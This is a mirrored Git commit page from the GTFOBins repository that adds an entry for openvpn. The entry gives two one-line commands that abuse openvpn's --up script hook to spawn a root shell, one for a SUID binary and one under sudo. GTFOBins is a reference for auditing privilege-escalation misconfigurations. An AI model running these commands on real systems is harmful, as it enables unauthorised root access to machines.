mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-08-23 17:44:49 +02:00
Add openvpn
This commit is contained in:
10
_gtfobins/openvpn.md
Normal file
10
_gtfobins/openvpn.md
Normal file
@@ -0,0 +1,10 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
suid:
|
||||||
|
- code: |
|
||||||
|
./openvpn --dev tun0 --script-security 2 --up '/bin/sh -p -c "sh -p"'
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
COMMAND='id'
|
||||||
|
sudo openvpn --dev tun0 --script-security 2 --up '/bin/sh -c sh'
|
||||||
|
---
|
Reference in New Issue
Block a user